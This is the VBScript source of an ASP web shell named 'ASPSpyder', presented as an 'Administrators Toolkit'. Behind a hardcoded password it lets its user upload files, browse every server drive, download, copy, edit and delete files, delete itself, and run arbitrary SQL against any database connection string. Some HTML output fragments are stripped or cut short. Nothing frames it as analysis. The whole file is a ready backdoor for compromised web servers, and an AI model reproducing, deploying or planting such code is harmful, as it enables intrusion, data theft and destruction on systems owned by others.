%
Function BufferContent(data)
Dim strContent(64)
Dim i
ClearString strContent
For i = 1 To LenB(data)
AddString strContent,Chr(AscB(MidB(data,i,1)))
Next
BufferContent = fnReadString(strContent)
End Function
Sub ClearString(part)
Dim index
For index = 0 to 64
part(index)=""
Next
End Sub
Sub AddString(part,newString)
Dim tmp
Dim index
part(0) = part(0) & newString
If Len(part(0)) > 64 Then
index=0
tmp=""
Do
tmp=part(index) & tmp
part(index) = ""
index = index + 1
Loop until part(index) = ""
part(index) = tmp
End If
End Sub
Function fnReadString(part)
Dim tmp
Dim index
tmp = ""
For index = 0 to 64
If part(index) <> "" Then
tmp = part(index) & tmp
End If
Next
FnReadString = tmp
End Function
Class FileUploader
Public Files
Private mcolFormElem
Private Sub Class_Initialize()
Set Files = Server.CreateObject("Scripting.Dictionary")
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
End Sub
Private Sub Class_Terminate()
If IsObject(Files) Then
Files.RemoveAll()
Set Files = Nothing
End If
If IsObject(mcolFormElem) Then
mcolFormElem.RemoveAll()
Set mcolFormElem = Nothing
End If
End Sub
Public Property Get Form(sIndex)
Form = ""
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
End Property
Public Default Sub Upload()
Dim biData, sInputName
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
Dim nPosFile, nPosBound
biData = Request.BinaryRead(Request.TotalBytes)
nPosBegin = 1
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
nDataBoundPos = InstrB(1, biData, vDataBounds)
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
nPos = InstrB(nPos, biData, CByteString("name="))
nPosBegin = nPos + 6
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
If nPosFile <> 0 And nPosFile < nPosBound Then
Dim oUploadFile, sFileName
Set oUploadFile = New UploadedFile
nPosBegin = nPosFile + 10
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
nPosBegin = nPos + 14
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
nPosBegin = nPosEnd+4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
Else
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
nPosBegin = nPos + 4
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
End If
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
Loop
End Sub
'String to byte string conversion
Private Function CByteString(sString)
Dim nIndex
For nIndex = 1 to Len(sString)
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
Next
End Function
'Byte string to string conversion
Private Function CWideString(bsString)
Dim nIndex
CWideString =""
For nIndex = 1 to LenB(bsString)
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
Next
End Function
End Class
Class UploadedFile
Public ContentType
Public FileName
Public FileData
Public Property Get FileSize()
FileSize = LenB(FileData)
End Property
Public Sub SaveToDisk(sPath)
Dim oFS, oFile
Dim nIndex
If sPath = "" Or FileName = "" Then Exit Sub
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
If Not oFS.FolderExists(sPath) Then Exit Sub
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
' output mechanism modified for buffering
oFile.Write BufferContent(FileData)
oFile.Close
End Sub
Public Sub SaveToDatabase(ByRef oField)
If LenB(FileData) = 0 Then Exit Sub
If IsObject(oField) Then
oField.AppendChunk FileData
End If
End Sub
End Class
' Create the FileUploader
IF REQUEST.QueryString("upload")="@" THEN
Dim Uploader, File
Set Uploader = New FileUploader
' This starts the upload process
Uploader.Upload()
%>
ASPYDrvsInfo
File upload Information:
<%
' Check if any files were uploaded
If Uploader.Files.Count = 0 Then
Response.Write "File(s) not uploaded."
Else
' Loop through the uploaded files
For Each File In Uploader.Files.Items
File.SaveToDisk Request.QueryString("txtpath")
Response.Write "
<%
response.End() '---- XXX
END IF
'--------
ON ERROR RESUME NEXT
Response.Buffer = True
password = "t00ls.org" ' <---Your password here
If request.querystring("logoff")="@" then
session("shagman")="" ' Logged off
session("dbcon")="" ' Database Connection
session("txtpath")="" ' any pathinfo
end if
If (session("shagman")<>password) and Request.form("code")="" Then
%>
ADMINSTRATORS TOOLKIT
ASPSpyder Apr2003
<%If request.querystring("logoff")="@" then%>
CLOSE THIS WINDOW
<%end if%>
<%
Response.END
End If
If Request.form("code") = password or session("shagman") = password Then
session("shagman") = password
Else
Response.Write "
ACCESS DENIED Copyright 2003 Vela iNC.
"
Response.END
End If
server.scriptTimeout=180
set fso = Server.CreateObject("Scripting.FileSystemObject")
mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME"))
mapPathLen = len(mapPath)
if session(myScriptName) = "" then
for x = mapPathLen to 0 step -1
myScriptName = mid(mapPath,x)
if instr(1,myScriptName,"\")>0 then
myScriptName = mid(mapPath,x+1)
x=0
session(myScriptName) = myScriptName
end if
next
Else
myScriptName = session(myScriptName)
end if
wwwRoot = left(mapPath, mapPathLen - len(myScriptName))
Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From
if len(Request.querystring("txtpath"))=3 then
pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname")
else
pathname = Request.querystring("txtpath") & "\" & Request.form("Fname")
end if
If Request.Form("txtpath") = "" Then
MyPath = Request.QueryString("txtpath")
Else
MyPath = Request.Form("txtpath")
End If
' ---Path correction routine
If len(MyPath)=1 then MyPath=MyPath & ":\"
If len(MyPath)=2 then MyPath=MyPath & "\"
If MyPath = "" Then MyPath = wwwRoot
If not fso.FolderExists(MyPath) then
Response.Write "Non-existing path specified. Please use browser back button to continue !"
Response.end
end if
set folder = fso.GetFolder(MyPath)
if fso.GetFolder(Target) = false then
Response.Write "Please create your target directory for copying files as it does not exist. " & Target & " "
else
set fileCopy = fso.GetFolder(Target)
end if
If Not(folder.IsRootFolder) Then
If len(folder.ParentFolder)>3 then
showPath = folder.ParentFolder & "\" & folder.name
Else
showPath = folder.ParentFolder & folder.name
End If
Else
showPath = left(MyPath,2)
End If
MyPath=showPath
showPath=MyPath & "\"
' ---Path correction routine-DONE
set drv=fso.GetDrive(left(MyPath,2))
if Request.Form("cmd")="Download" then
if Request.Form("Fname")<>"" then
Response.Buffer = True
Response.Clear
strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname")
Set Sys = Server.CreateObject( "Scripting.FileSystemObject" )
Set Bin = Sys.OpenTextFile( strFileName, 1, False )
Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") )
Response.ContentType = "application/octet-stream"
While Not Bin.AtEndOfStream
Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) )
Wend
Bin.Close : Set Bin = Nothing
Set Sys = Nothing
Else
err.number=500
err.description="Nothing selected for download..."
End if
End if
%>
<%
'QUERY ANALYSER -- START
if request.QueryString("qa")="@" then
'-------------
sub getTable(mySQL)
if mySQL="" then
exit sub
end if
on error resume next
Response.Buffer = True
Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
myConnectionString=session("dbCon")
Set myDBConnection = Server.CreateObject("ADODB.Connection")
myDBConnection.Open myConnectionString
myFlag = False
myFlag = errChk()
set rs = Server.CreateObject("ADODB.Recordset")
rs.cursorlocation = 3
rs.open mySQL, myDBConnection
myFlag = errChk()
if RS.properties("Asynchronous Rowset Processing") = 16 then
For i = 0 To rs.Fields.Count - 1
myFields = myFields & "
" & rs.Fields(i).Name & "
"
Next
myTitle = "?Query results : (" & rs.RecordCount & " row(s) affected) "
rs.MoveFirst
rs.PageSize=mNR
if int(rs.RecordCount/mNR) < mPage then mPage=1
rs.AbsolutePage = mPage
Response.Write myTitle & "
"
if mPage=1 Then Response.Write("") else Response.Write("")
Response.Write ""
if mPage = rs.PageCount Then Response.Write("> "" DISABLED>") else Response.Write("> "">")
Response.Write " Displaying records at a time."
response.Write "
" & myFields
For x = 1 to rs.PageSize
If Not rs.EOF Then
response.Write "
"
For i = 0 to rs.Fields.Count - 1
response.Write "
" & server.HTMLEncode(rs(i)) & "
"
Next
response.Write "
"
response.Flush()
rs.MoveNext
Else
x=rs.PageSize
End If
Next
response.Write "
"
myFlag = errChk()
else
if not myFlag then
myTitle = "iQuery results : (The command(s) completed successfully.) "
response.Write myTitle
end if
end if
set myDBConnection = nothing
set rs2 = nothing
set rs = nothing
End sub
sub getXML(mySQL)
if mySQL="" then
exit sub
end if
on error resume next
Response.Buffer = True
Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
myConnectionString=session("dbCon")
Set myDBConnection = Server.CreateObject("ADODB.Connection")
myDBConnection.Open myConnectionString
myFlag = False
myFlag = errChk()
set rs = Server.CreateObject("ADODB.Recordset")
rs.cursorlocation = 3
rs.open mySQL, myDBConnection
myFlag = errChk()
if RS.properties("Asynchronous Rowset Processing") = 16 then
Response.Write "i Copy paste this code and save as '.xml '
"
Response.Write ""
myFlag = errChk()
else
if not myFlag then
myTitle = "iQuery results : (The command(s) completed successfully.) "
response.Write myTitle
end if
end if
End sub
Function errChk()
if err.Number <> 0 and err.Number <> 13 then
dim myText
myText = "x " & err.Description & " "
response.Write myText
err.Number = 0
errChk = True
end if
end Function
Dim myQuery,mPage,mNR
myQuery = request.Form("txtSQL")
if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon")
if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath")
mPage=cint(request.Form("mPage"))
if mPage<1 then mPage=1
mNR=cint(request.Form("txtNoRecords"))
if mNR<1 then mNR=30
%>
ASPyQAnalyser
Copyright 2003 Vela iNC. Cheers to hAshish for all the help!
<%
set myDBConnection = nothing
set rs2 = nothing
set rs = nothing
'-------------
response.End()
end if
'QUERY ANALYSER -- STOP
%>
<%=MyPath%>
<%
Response.Flush
'Code Optimisation START
select case request.form("cmd")
case ""
If request.form("dirStuff")<>"" then
Response.write "You need to click [Create] or [Delete] for folder operations to be"
Else
Response.Write "آ"
End If
case " Copy "
' ---Copy From Folder routine Start
If Request.Form("Fname")="" then
Response.Write "Copying: " & Request.QueryString("txtpath") & "\??? "
err.number=424
Else
Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & " "
fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname")
Response.Flush
End If
' ---Copy From Folder routine Stop
case " Copy "
' ---Copy Too Folder routine Start
If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then
Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & " "
Response.Flush
fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy")
Else
Response.Write "Copying: " & Request.Form("txtpath") & "\??? "
err.number=424
End If
' ---Copy Too Folder routine Stop
case "Delete" 'two of this
if request.form("todelete")<>"" then
' ---File Delete start
If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then
Response.Write "
SELFDESTRUCT INITIATED... "
Response.Flush
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
%>+++DONE+++ CLOSE THIS WINDOW
<%Response.End
End If
If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then
Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & " "
Response.Flush
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
Else
Response.Write "Deleting: " & Request.Form("txtpath") & "\??? "
err.number=424
End If
' ---File Delete stop
Else If request.form("dirStuff")<>"" then
Response.Write "Deleting folder... "
fso.DeleteFolder MyPath & "\" & request.form("DirName")
end if
End If
case "Edit/Create"
%>
NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate.
Path=> <%=pathname%>
<%
' fetch file information
Set f = fso.GetFile(pathname)
%>
file Type: <%=f.Type%>
file Size: <%=FormatNumber(f.size,0)%> bytes
file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
file Attributes: <%=f.attributes%>
<%
Set f = Nothing
response.write "
<%
response.end
case "Create"
Response.Write "Creating folder... "
fso.CreateFolder MyPath & "\" & request.form("DirName")
case "Save As"
Response.Write "Saving file... "
Set f = fso.CreateTextFile(Request.Form("pathname"))
f.write Request.Form("FILEDATA")
f.close
end select
'Code Optimisation STOP
' ---DRIVES start here
If request.querystring("getDRVs")="@" then
%>
<%
Response.end
end if
' ---DRIVES stop here
%>
<%
'---Report errors
select case err.number
case "0"
response.write "i Successfull.."
case "58"
response.write "Folder already exists OR no folder name specified..."
case "70"
response.write "Permission Denied, folder/file is readonly or contains such files..."
case "76"
response.write "Path not found..."
case "424"
response.write "Missing, Insufficient data OR file is readonly..."
case else
response.write "" & err.description & ""
end select
'---Report errors end
%>